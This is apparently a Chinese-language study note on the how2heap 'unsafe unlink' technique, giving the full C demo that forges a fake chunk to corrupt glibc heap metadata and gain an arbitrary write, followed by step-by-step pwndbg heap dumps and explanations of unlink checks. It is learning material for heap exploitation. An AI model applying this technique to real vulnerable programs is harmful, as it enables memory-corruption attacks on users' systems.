5.unsafe_unlink

0x00:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>


uint64_t *chunk0_ptr;

int main()
{
fprintf(stderr, "Welcome to unsafe unlink 2.0!\n");
fprintf(stderr, "Tested in Ubuntu 14.04/16.04 64bit.\n");
fprintf(stderr, "This technique only works with disabled tcache-option for glibc, see build_glibc.sh for build instructions.\n");
fprintf(stderr, "This technique can be used when you have a pointer at a known location to a region you can call unlink on.\n");
fprintf(stderr, "The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\n");

接上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
	int malloc_size = 0x80; //we want to be big enough not to use fastbins
int header_size = 2;

fprintf(stderr, "The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\n\n");

chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size); //chunk1
fprintf(stderr, "The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr);
fprintf(stderr, "The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);

fprintf(stderr, "We create a fake chunk inside chunk0.\n");
fprintf(stderr, "We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\n");
chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
fprintf(stderr, "We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\n");
fprintf(stderr, "With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False\n");
chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
fprintf(stderr, "Fake chunk fd: %p\n",(void*) chunk0_ptr[2]);
fprintf(stderr, "Fake chunk bk: %p\n\n",(void*) chunk0_ptr[3]);

//fprintf(stderr, "We need to make sure the 'size' of our fake chunk matches the 'previous_size' of the next chunk (chunk+size)\n");
//fprintf(stderr, "With this setup we can pass this check: (chunksize(P) != prev_size (next_chunk(P)) == False\n");
//fprintf(stderr, "P = chunk0_ptr, next_chunk(P) == (mchunkptr) (((char *) (p)) + chunksize (p)) == chunk0_ptr + (chunk0_ptr[1]&(~ 0x7))\n");
//fprintf(stderr, "If x = chunk0_ptr[1] & (~ 0x7), that is x = *(chunk0_ptr + x).\n");
//fprintf(stderr, "We just need to set the *(chunk0_ptr + x) = x, so we can pass the check\n");
//fprintf(stderr, "1.Now the x = chunk0_ptr[1]&(~0x7) = 0, we should set the *(chunk0_ptr + 0) = 0, in other words we should do nothing\n");
//fprintf(stderr, "2.Further more we set chunk0_ptr = 0x8 in 64-bits environment, then *(chunk0_ptr + 0x8) == chunk0_ptr[1], it's fine to pass\n");
//fprintf(stderr, "3.Finally we can also set chunk0_ptr[1] = x in 64-bits env, and set *(chunk0_ptr+x)=x,for example chunk_ptr0[1] = 0x20, chunk_ptr0[4] = 0x20\n");
//chunk0_ptr[1] = sizeof(size_t);
//fprintf(stderr, "In this case we set the 'size' of our fake chunk so that chunk0_ptr + size (%p) == chunk0_ptr->size (%p)\n", ((char *)chunk0_ptr + chunk0_ptr[1]), &chunk0_ptr[1]);
//fprintf(stderr, "You can find the commitdiff of this check at https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=17f487b7afa7cd6c316040f3e6c86dc96b2eec30\n\n");

fprintf(stderr, "We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\n");
uint64_t *chunk1_hdr = chunk1_ptr - header_size;
fprintf(stderr, "We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\n");
fprintf(stderr, "It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\n");
chunk1_hdr[0] = malloc_size;
fprintf(stderr, "If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x90, however this is its new value: %p\n",(void*)chunk1_hdr[0]);
fprintf(stderr, "We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\n\n");
chunk1_hdr[1] &= ~1;

fprintf(stderr, "Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\n");
fprintf(stderr, "You can find the source of the unlink macro at https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344\n\n");
free(chunk1_ptr);

fprintf(stderr, "At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\n");
char victim_string[8];
strcpy(victim_string,"Hello!~");
chunk0_ptr[3] = (uint64_t) victim_string;

fprintf(stderr, "chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n");
fprintf(stderr, "Original value: %s\n",victim_string);
chunk0_ptr[0] = 0x4141414142424242LL;
fprintf(stderr, "New Value: %s\n",victim_string);
}

0x01:malloc两个0x80大小的空间

全局变量:uint64_t chunk0_ptr;
局部变量:uint64_t
chunk1_ptr;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size); //chunk1


pwndbg> p &chunk0_ptr
$49 = (uint64_t **) 0x602070 <chunk0_ptr>
pwndbg> p &chunk1_ptr
$50 = (uint64_t **) 0x7fffffffde80
pwndbg> p chunk0_ptr
$51 = (uint64_t *) 0x603010
pwndbg> p chunk1_ptr
$52 = (uint64_t *) 0x6030a0
pwndbg> heap
Top Chunk: 0x603120
Last Remainder: 0

0x603000 PREV_INUSE {
prev_size = 0x0,
size = 0x91,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x603090 PREV_INUSE {
prev_size = 0x0,
size = 0x91,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x603120 PREV_INUSE {
prev_size = 0x0,
size = 0x20ee1,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
pwndbg>

0x02:构造fake_chunk的fd,bk

1
2
3
4
5
6
7
8
9
10
11
chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);


pwndbg> x/10gx 0x603010
0x603010: 0x0000000000000000 <==fake_chunk 0x0000000000000000
0x603020: 0x0000000000602058 <==fake_chunk的fd指针 0x0000000000602060 <==fake_chunk的bk指针
0x603030: 0x0000000000000000 0x0000000000000000
0x603040: 0x0000000000000000 0x0000000000000000
0x603050: 0x0000000000000000 0x0000000000000000
pwndbg>

在free一块堆chunk内存时,会查看该块前后相邻的两块是否空闲,如果空闲的话则把他们从原来的链表上卸载出来和当前块合并在一起。分为向前合并和向后合并。

  • 向后合并:

查看下一个块是不是空闲的 – 下一个块是空闲的,如果下下个块(距离当前空闲块)的PREV_INUSE(P)位没有设置(值为0)。为了访问下下个块,将当前块的大小加到它的块指针,再将下一个块的大小加到下一个块指针。

如果是空闲的,使用unlink操作合并它。将合并后的块添加到 unsorted bin 中。

  • 向前合并:

查看前一个块是不是空闲的 –如果当前空闲块的PREV_INUSE(P)位为0, 则前一个块是空闲的。如果空闲,合并它。

  • unlink操作如下:
FD = P->fd;
BK = P->bk;
FD->bk = BK;
BK->fd = FD;

假设执行free(q),对于向前合并,p就是指向q这个chunk块,对于向后合并,p指向的是q的前一个chunk块

unlink还需要过一个检查,如下:

(P->fd)->bk == (P->bk)->fd ?

即判断当前这个chunk P的后一个chunk的前一个chunk与当前这个chunk P的前一个chunk 的后一个chunk是不是同一个chunk(即P)

fake_chunk是在chunk0里面构造的

0x03:

//假设chunk0中存在溢出,可以修改chunk1中的数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
uint64_t *chunk1_hdr = chunk1_ptr - header_size;
//chunk1_ptr是个指针,它的加一减一不是单纯的+1-1,是要看这个指针的类型,+1-1是有步进的,这里步进是8
chunk1_hdr[0] = malloc_size;
pwndbg> p chunk1_hdr
$57 = (uint64_t *) 0x603090


chunk1_hdr[0] = malloc_size;
pwndbg> x/10gx 0x603090
0x603090: 0x0000000000000080 <== chunk1d的pre_size 0x0000000000000091
0x6030a0: 0x0000000000000000 0x0000000000000000
0x6030b0: 0x0000000000000000 0x0000000000000000
0x6030c0: 0x0000000000000000 0x0000000000000000
0x6030d0: 0x0000000000000000 0x0000000000000000
pwndbg>

chunk1_hdr[1] &= ~1;
pwndbg> x/10gx 0x603090
0x603090: 0x0000000000000080 0x0000000000000090
0x6030a0: 0x0000000000000000 0x0000000000000000
0x6030b0: 0x0000000000000000 0x0000000000000000
0x6030c0: 0x0000000000000000 0x0000000000000000
0x6030d0: 0x0000000000000000 0x0000000000000000


pwndbg> heap
Top Chunk: 0x603120
Last Remainder: 0

0x603000 PREV_INUSE {
prev_size = 0x0,
size = 0x91,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x602058,
bk_nextsize = 0x602060 <stderr@@GLIBC_2.2.5>
}
0x603090 {
prev_size = 0x80,
size = 0x90,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x603120 PREV_INUSE {
prev_size = 0x0,
size = 0x20ee1,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
pwndbg>

通过chunk0的溢出来修改chunk1的chunk头里的两个域:
prev_size域和size
pre_size要修改成fake_chunk的大小,修改size域的P位,修改成0,表示chunk1的前一个chunk处于空闲状态。

0x04:释放chunk1_ptr

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
free(chunk1_ptr);   

pwndbg> heap
Top Chunk: 0x603010
Last Remainder: 0

0x603000 PREV_INUSE {
prev_size = 0x0,
size = 0x91,
fd = 0x0,
bk = 0x20ff1,
fd_nextsize = 0x602058,
bk_nextsize = 0x602060 <stderr@@GLIBC_2.2.5>
}
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg>

0x05:总结

这里指针、数组,地址什么的有点绕。
在这里指针变量chunk0_ptr的地址是不变的,是0x602070。
指针变量chunk0_ptr里面有值。

1
2
3
4
5
6
7
8
9
10
11
12
pwndbg> p &chunk0_ptr
$75 = (uint64_t **) 0x602070 <chunk0_ptr>
pwndbg> p chunk0_ptr
$76 = (uint64_t *) 0x602058
pwndbg> p &chunk0_ptr
$77 = (uint64_t **) 0x602070 <chunk0_ptr>
pwndbg> p chunk0_ptr[0]
$78 = 0x0
pwndbg> p &chunk0_ptr[1]
$79 = (uint64_t *) 0x602060 <stderr@@GLIBC_2.2.5>
pwndbg> p chunk0_ptr[1]
$80 = 0x7ffff7dd2540

emmmmmm还没有感受到要干嘛

后记
该技术用于当你拥有一个已知位置的指针指向一个可以调用 unlink 的区域时。

最常见的情况就是存在一个可以溢出的带有全局指针的缓冲区。

这个练习的关键是用 free 破坏全局指针 chunk0_ptr 来实现任意内存写。